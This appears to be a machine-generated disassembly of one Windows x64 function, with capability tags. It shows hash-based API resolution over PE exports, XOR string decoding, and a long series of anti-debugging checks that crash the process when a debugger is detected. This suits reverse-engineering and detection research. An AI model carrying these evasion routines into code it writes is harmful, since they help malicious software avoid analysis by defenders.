Function at 0x14005b130
Capabilities:
Access peb ldr_data
Check for debugger via api
Check for peb beingdebugged flag
Create process on windows
Delete file
Encode data using xor
Enumerate gui resources
Hash data using fnv
Hide thread from debugger
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rdi
push r13
lea rbp, [rsp - 0x1608]
mov eax, 0x1708
call fcn.1400e3450
sub rsp, rax
call fcn.14004a340
call fcn.140043a00
xor r13d, r13d
mov byte [0x14018a84e], 1
cmp byte [0x14018a84d], r13b
je 0x14005b3d0
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0x1210]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0xdc], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005b227
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005b227
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005b222
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005b200
cmp r8d, 0xcded1a85
je 0x14005b22c
test r9d, r9d
jne 0x14005b1e0
mov rax, qword [rax]
jmp 0x14005b1b0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0xdc]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov dword [rbp + 0xe0], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005b2e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005b2e7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005b2e2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005b2c0
cmp r8d, 0xe80fd3a
je 0x14005b2ec
test r9d, r9d
jne 0x14005b2a0
mov rax, qword [rax]
jmp 0x14005b270
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0xe0]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005b3a7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005b3a7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005b3a2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005b380
cmp r8d, 0xa52bcaf9
je 0x14005b3ac
test r9d, r9d
jne 0x14005b360
mov rax, qword [rax]
jmp 0x14005b330
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
call fcn.1400532b0
test al, al
je 0x14005b640
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0x1230]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0xe4], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005b497
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005b497
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005b492
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005b470
cmp r8d, 0xcded1a85
je 0x14005b49c
test r9d, r9d
jne 0x14005b450
mov rax, qword [rax]
jmp 0x14005b420
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0xe4]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov dword [rbp + 0xe8], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005b557
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005b557
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005b552
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005b530
cmp r8d, 0xe80fd3a
je 0x14005b55c
test r9d, r9d
jne 0x14005b510
mov rax, qword [rax]
jmp 0x14005b4e0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0xe8]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005b617
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005b617
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005b612
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005b5f0
cmp r8d, 0xa52bcaf9
je 0x14005b61c
test r9d, r9d
jne 0x14005b5d0
mov rax, qword [rax]
jmp 0x14005b5a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
mov qword [rsp + 0x1730], rsi
lea rdx, [0x14005b110]
mov qword [rsp + 0x1738], r12
lea rcx, [rbp + 0x210]
mov qword [rsp + 0x1740], r14
mov qword [rsp + 0x1700], r15
movaps xmmword [rsp + 0x16f0], xmm6
movaps xmmword [rsp + 0x16e0], xmm7
movaps xmmword [rsp + 0x16d0], xmm8
movaps xmmword [rsp + 0x16c0], xmm9
movaps xmmword [rsp + 0x16b0], xmm10
movaps xmmword [rsp + 0x16a0], xmm11
movaps xmmword [rsp + 0x1690], xmm12
movaps xmmword [rsp + 0x1680], xmm13
movaps xmmword [rsp + 0x1670], xmm14
movaps xmmword [rsp + 0x1660], xmm15
call fcn.14006c7b0
lea rcx, [rbp + 0x210]
call fcn.14004b440
cmp dword [rbp + 0x218], r13d
jne 0x140066296
xor edx, edx
lea rcx, [0x140053540]
call qword [sym.imp.USER32.dll_EnumWindows]
call fcn.14004a340
mov eax, dword [0x14011b308]
lea rcx, [rbp - 0x5a]
mov dword [rbp - 0x5a], eax
xor edx, edx
movzx eax, word [0x14011b30c]
xor byte [rbp - 0x59], 0x33
xor byte [rbp - 0x58], 0x34
xor byte [rbp - 0x57], 0x35
mov word [rbp - 0x56], ax
xor al, 0x36
xor byte [rbp - 0x55], 0x37
mov byte [rbp - 0x56], al
mov byte [rbp - 0x5a], reloc.WLDAP32.dll_Ordinal_46
call fcn.1400532f0
test al, al
je 0x14005b9a0
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0x1250]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0xec], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005b7f7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005b7f7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005b7f2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005b7d0
cmp r8d, 0xcded1a85
je 0x14005b7fc
test r9d, r9d
jne 0x14005b7b0
mov rax, qword [rax]
jmp 0x14005b780
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0xec]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov dword [rbp + 0xf0], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005b8b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005b8b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005b8b2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005b890
cmp r8d, 0xe80fd3a
je 0x14005b8bc
test r9d, r9d
jne 0x14005b870
mov rax, qword [rax]
jmp 0x14005b840
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0xf0]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005b977
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005b977
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005b972
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005b950
cmp r8d, 0xa52bcaf9
je 0x14005b97c
test r9d, r9d
jne 0x14005b930
mov rax, qword [rax]
jmp 0x14005b900
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
cmp byte [0x14018a84d], r13b
je 0x14005bc10
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0x1270]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0xf4], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005ba67
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005ba67
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005ba62
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005ba40
cmp r8d, 0xcded1a85
je 0x14005ba6c
test r9d, r9d
jne 0x14005ba20
mov rax, qword [rax]
jmp 0x14005b9f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0xf4]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov dword [rbp + 0xf8], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005bb27
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005bb27
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005bb22
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005bb00
cmp r8d, 0xe80fd3a
je 0x14005bb2c
test r9d, r9d
jne 0x14005bae0
mov rax, qword [rax]
jmp 0x14005bab0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0xf8]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005bbe7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005bbe7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005bbe2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005bbc0
cmp r8d, 0xa52bcaf9
je 0x14005bbec
test r9d, r9d
jne 0x14005bba0
mov rax, qword [rax]
jmp 0x14005bb70
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
lea rdx, [0x14007d2b0]
lea rcx, [rbp + 0x220]
call fcn.14006c7b0
lea rcx, [rbp + 0x220]
call fcn.14004b440
cmp dword [rbp + 0x228], r13d
jne 0x140066296
lea rdx, [0x14005b110]
lea rcx, [rbp + 0x230]
call fcn.14006c7b0
lea rcx, [rbp + 0x230]
call fcn.14004b440
cmp dword [rbp + 0x238], r13d
jne 0x140066296
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x11]
call qword [sym.imp.ntdll.dll_NtSetInformationThread]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14005bc96
mov dword [0], 0xdead
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rbp + 0x118], r13d
je 0x14005bcc0
mov dword [0], 0xdead
mov rax, qword gs:[0x60]
cmp byte [rax + 2], r13b
je 0x14005bcda
mov dword [0], 0xdead
mov rax, qword gs:[0x60]
test byte [rax + 0x68], 0x70
je 0x14005bcf4
mov dword [0], 0xdead
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r13
mov rcx, rax
lea r8, [rbp + 0x198]
lea edx, [r9 - 1]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
cmp qword [rbp + 0x198], r13
je 0x14005bd2d
mov dword [0], 0xdead
mov dword [rbp + 0x2c], r13d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
mov qword [rsp + 0x20], r13
mov rcx, rax
lea r8, [rbp + 0x2c]
lea edx, [r9 + 0x1b]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
cmp dword [rbp + 0x2c], r13d
jne 0x14005bd64
mov dword [0], 0xdead
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r13
mov rcx, rax
lea r8, [rbp + 0x1a0]
lea edx, [r9 + 0x16]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
cmp qword [rbp + 0x1a0], r13
je 0x14005bd9d
mov dword [0], 0xdead
call fcn.140055400
test eax, eax
je 0x14005bdb1
mov dword [0], 0xdead
mov rax, qword gs:[0x60]
test byte [rax + 0x68], 0x70
je 0x14005bdcb
mov dword [0], 0xdead
mov r8b, 1
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_NtSetDebugFilterState]
test eax, eax
jne 0x14005bde7
mov dword [0], 0xdead
call fcn.140055680
test eax, eax
je 0x14005bdfb
mov dword [0], 0xdead
call fcn.1400556e0
test eax, eax
je 0x14005be0f
mov dword [0], 0xdead
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x11]
call qword [sym.imp.ntdll.dll_NtSetInformationThread]
call fcn.140055420
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x11]
call qword [sym.imp.ntdll.dll_NtSetInformationThread]
call fcn.14004ccc0
xor edx, edx
lea rcx, [0x140053540]
call qword [sym.imp.USER32.dll_EnumWindows]
cmp byte [0x14018a84d], r13b
je 0x14005c0d0
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0x1290]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x11c], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005bf27
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005bf27
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005bf22
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005bf00
cmp r8d, 0xcded1a85
je 0x14005bf2c
test r9d, r9d
jne 0x14005bee0
mov rax, qword [rax]
jmp 0x14005beb0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x11c]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov dword [rbp + 0x120], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005bfe7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005bfe7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005bfe2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005bfc0
cmp r8d, 0xe80fd3a
je 0x14005bfec
test r9d, r9d
jne 0x14005bfa0
mov rax, qword [rax]
jmp 0x14005bf70
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x120]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005c0a7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005c0a7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005c0a2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005c080
cmp r8d, 0xa52bcaf9
je 0x14005c0ac
test r9d, r9d
jne 0x14005c060
mov rax, qword [rax]
jmp 0x14005c030
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
call fcn.1400532b0
test al, al
je 0x14005c340
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0x12b0]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x124], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005c197
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005c197
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005c192
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005c170
cmp r8d, 0xcded1a85
je 0x14005c19c
test r9d, r9d
jne 0x14005c150
mov rax, qword [rax]
jmp 0x14005c120
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x124]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov dword [rbp + 0x128], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005c257
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005c257
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005c252
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005c230
cmp r8d, 0xe80fd3a
je 0x14005c25c
test r9d, r9d
jne 0x14005c210
mov rax, qword [rax]
jmp 0x14005c1e0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x128]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005c317
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005c317
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005c312
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005c2f0
cmp r8d, 0xa52bcaf9
je 0x14005c31c
test r9d, r9d
jne 0x14005c2d0
mov rax, qword [rax]
jmp 0x14005c2a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
xor r12b, r12b
